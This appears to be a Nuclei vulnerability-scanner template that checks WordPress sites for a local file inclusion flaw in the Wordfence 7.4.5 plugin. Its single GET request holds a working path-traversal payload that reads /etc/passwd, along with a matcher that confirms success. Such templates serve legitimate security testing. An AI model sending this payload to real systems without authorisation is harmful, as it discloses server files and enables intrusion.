id: wordpress-wordfence-lfi

info:
  name: WordPress Wordfence 7.4.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Wordfence 7.4.5 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/48061
    - https://www.nmmapper.com/st/exploitdetails/48061/42367/wordpress-plugin-wordfence745-local-file-disclosure/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,wordfence,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wordfence/lib/wordfenceClass.php?file=/../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402202a8e2fded7776e6364c5b9beb024df24fe5192bc6a03fbdd0909514db777d78b0220204d250bcc25d900b88993e8f222a8831f32e236a2fe80c3e9c61157899762d6:922c64590222798bb761d5b6d8e72950